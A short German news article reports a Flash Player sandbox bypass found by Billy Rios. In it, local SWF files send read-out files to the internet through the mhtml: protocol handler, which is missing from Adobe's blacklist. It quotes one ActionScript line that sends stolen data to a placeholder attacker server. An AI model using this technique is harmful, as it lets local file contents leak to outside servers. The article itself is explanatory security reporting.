Sandbox des Flash Player ausgehebelt

Mit Tricks ist es möglich, dass lokal geladene Flash-Anwendungen Dateien auf dem PC auslesen und an einen Server ins Internet senden. Das sollte eigentlich die Sandbox-Funktion des Flash-Player verhindern.

Flash bringt verschiedene Sandboxen mit, die je nach Herkunft der SWF-Datei und gewährten Zugriffsrechten der Datei einige Restriktionen auferlegen. Lokale SWF-Dateien laufen etwa im Rahmen der Local-with-filesystem-Sandbox und haben Zugriff auf lokale Dateien. Allerdings haben sie keinen Zugriff auf das Netzwerk, mit denen eine bösartige SWF-Applet beispielsweise ausgelesene Daten an einen Server schicken könnte.

Der Sicherheitsspezialist Billy Rios hat nun aber herausgefunden, dass Adobe den Zugriff auf das Netzwerk nur durch eine Blacklist von Protokoll-Handlern reguliert, in der unter anderem HTTP und HTTPS eingetragen sind. Offenbar lassen sich prinzipiell auch über den Protokoll-Handler file: Daten an einen Server senden – jedoch nur im lokalen LAN, wie Rios in seinem Blog schreibt. Er hat aber einen weiteren Handler gefunden, mit dem sich Daten auch an Server im Internet senden lassen: mhtml.

Unter Windows wird der Protokoll-Handler standardmäßig unterstützt, sodass sich laut Rios ausgespähte Daten etwa über folgenden ActionScript-Befehl senden lassen getURL(‘mhtml:http://attacker-server.com/stolen-data-here‘, ”);. Eine konkrete SWF-Datei zur Demonstration des Problems stellt Rios nicht zu Verfügung.

Dass sich eine der Flash-Sandboxen so einfach aushebeln lässt, überrascht. Derzeit stellt das Problem jedoch kein besonders großes Risiko dar, da die wenigsten Anwender SWF-Datei manuell herunterladen und lokal starten. In der Regel laden Anwender SWF-Dateien direkt in das Flash-Plug-in für den Browser, für das andere Regeln gelten. (dab)